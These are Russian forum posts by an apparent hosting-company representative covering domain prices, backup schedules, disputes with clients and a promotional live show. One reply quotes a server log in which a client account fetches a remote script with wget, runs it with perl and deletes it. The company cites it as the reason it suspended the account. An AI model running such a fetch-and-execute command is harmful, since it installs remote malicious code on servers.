Стоимость регистрации доменов не изменялась, и составляет (рублей/год):
Домен в зоне RU 590.00
Домен в зоне COM 413.00
Домен в зоне NET 413.00
Домен в зоне ORG 413.00
Домен в зоне SU 590.00
Домен в зоне BIZ 708.00
Домен в зоне INFO 413.00
PS при заказе тарифных планов на хостинг, домены идут в подарок.
VladiZlav, остроумно, и практически в точку☝
Автор того топика, вот он, руководит процессом и совершенно не стесняется:
А Евгения, за пиар компании, мы решили поблагодарить приглашением на съемки передачи "Обычные люди", с участием одной из моделей, Наташей, которая состоится 4 сентября 2008 года, в 17.00
Не сомневаемся, что Евгению то, что будет происходить в прямом эфире очень понравится.
Как и многим из Вас🚬
Поймите меня правильно. Даже при резервном копировании ночью, ресурсы клиентов работают стабильно. Возможно у кого то и наблюдаются небольшие "подвисания" сайта, но при этом сайты доступны.
Тестовый период отсутствует.
Нет, промежуточного варианта у нас нет.
Система резервного копирования устроена следующим образом:
каждое утро (с 03-06 часов, у каждого сервера по разному) делается инкрементальное резервное копирование (бэкап измененных файлов)
раз в неделю делается фулл бэкап (полное резервное копирование)
В настоящий момент, отключить или то, или то невозможно. Можно отключить все резервное копирование для Вашего аккаунта.
Сергей здравствуйте!
Обращались ли Вы с таким вопросом в службу технической поддержки?
Могу с 99% уверенностью сказать, что под утро с 5.00-7.00 идет периодический бекап Ваших сайтов. В том числе и Ваших mysql баз. В том числе и у других клиентов. Клиентов виртуального хостинга.
1% что то иное, не связанное с нашими услугами.
Если Вы хотите отказаться от резервного копирования Ваших сайтов, обратитесь в саппорт компании, мы Вас отключим от бекапа, и "недоступность сайтов" исчезнет моментально.
Уважаемый клиент!
Совсем не обязательно повторять путь недовольных клиентов, и пытаться исказить смысл сказанного мной.
Позиция компания в этом вопросе следующая: если клиент не исправит проблемную ситуацию мы не откроем аккаунт, что бы не создавать проблем другим клиентам и угрозы сети Интернет. А уж Ваших рук это дело, или других рук - нам это неизвестно, клиенту верим. Но когда ситуация повторяется.
И потом. Мы не выгоняем клиента, мы приостанавливаем предоставление услуг. До исправления ситуации.
В любом случае считаю, что Ваш двухлетний опыт сотрудничества с нами больше оставил положительного, чем отрицательного.
Удачи Вам на новом месте. А вернутся всегда можно☝
Здравствуйте!
Ознакомился, спасибо!
Теперь хочу, что бы Вы выслушали позицию компании. Пусть даже вслед Вашему уходу.
Есть условия договора, на которые Вы соглашаетесь при заказе услуг. В них четко сказано, за что приостанавливается предоставление Услуг Абоненту:
Сотрудник компании заметив, что с Вашего аккаунта шел запуск вредоносных скриптов, и кроме это загружал ресурсы сервера, поступил правильно. Заметьте, даже проанализировал лог и подсказал Вам ( Jul 20 23:38:16 www : TTY=unknown ; PWD=/storage/home/srv8005/htdocs/sevchem ; USER=srv8005 ; COMMAND=/bin/sh -c cd /tmp;wget http://notonyourradio.com/21.txt;perl 21.txt;rm -rf 21.txt) где возможно, повторюсь возможно, а не только там и все, есть проблема. Вы отреагировали ночью, проблему вроде бы закрыли, доступ открыли.
Далее снова проблема. Jul 23 16:10:09 www : TTY=unknown ; WD=/storage/home/srv8005/htdocs/potup ; USER=srv8005 ; COMMAND=/bin/sh -c host -W 1 '77.121.222.62' И снова мы проанализировали лог и подсказали где возможно проблема.
На лицо два грубых нарушения условий договора. За что уже следует заблокировать аккаунт и прекратить навсегда предоставление услуг. Потому что мы не уверены, Вы ли с серверов запускает ДДос, или не Вы.
Вас попросили самостоятельно разобраться, выявить проблемы, устранить и продолжить дальше пользоваться услугами. На что Вы обвинили нас в странности работы службы технической поддержки, в отсутствии услуги администрирования сайтов клиента. Извините, но это нам решать какую услугу вводить, а какую не вводить.
Крайне неприятно то, что Вы попытались сложить Ваши проблемы на нас. Мы лишь четко следовали условиям договора, но все же подсказывая Вам, где замечена проблема.
Поэтому и я заявляю, что если и будет серьезная проблема у клиента из за его умения/неумения администрировать свои ресурсы, а не из за наших проблем, то сотрудник постарается ему помочь безвозмездно, в свободное от работы время. Как уже было не раз.
Извините, что мы своим бездействием причинили Вам массу неудобств.
Вопрос возврата неиспользованных денежных средств, рассматривается не здесь. Обратитесь в компанию.
Вы уж определитесь рекомендовать или не рекомендовать:) С чего уж так вдруг? Что значит не поможет техподдержка?
Спасибо, спасибо!
Вчера Евгений "ШАНС-ON" слоган нам придумал: "ХТ-системс это хостинг, где все работает без саппорта. Даже у тупых":)🚬
Спасибо Жене, спасибо всем клиентам, кто с уважением и пониманием относится к работе компании.
PS а недовольные "anti-cheerleaders" есть даже у идеально работающих компаний, и не только в области хостинга. Ибо только так сохраняется баланс в природе🚬
Уважаемые гости, клиенты компании.
Сегодня в 16.00 мск в передаче "Обычные люди" проекта "HT-Live.TV" состоится прямая линия с Игорем Семшовым, бронзовым призером Чемпионата Европы по футболу 2008.
Программа в большей степени будет построена на ваших вопросах, которые вы сможете задать в прямом эфире на сайте www.ht-live.tv (необходима регистрация) или направить на e-mail pr@ht-systems.ru.
Прямая трансляция будет вестись на сайте www.ht-live.tv и на официальном сайте нашего партнера ФК "Динамо" Москва www.fcdinamo.ru, в разделе Динамо ТВ.
В конце передачи, Игорь выберет 5 лучших Ваших вопросов, авторы которых получат ценные призы от ФК "Динамо" Москва и компании "Хостинговые Телесистемы".
Желаем удачи и будте корректны в своих вопросах.
PS компания "Хостинговые Телесистемы" в качестве призов подарит 2 тарифных плана "ЛайтПРО" сроком на год.
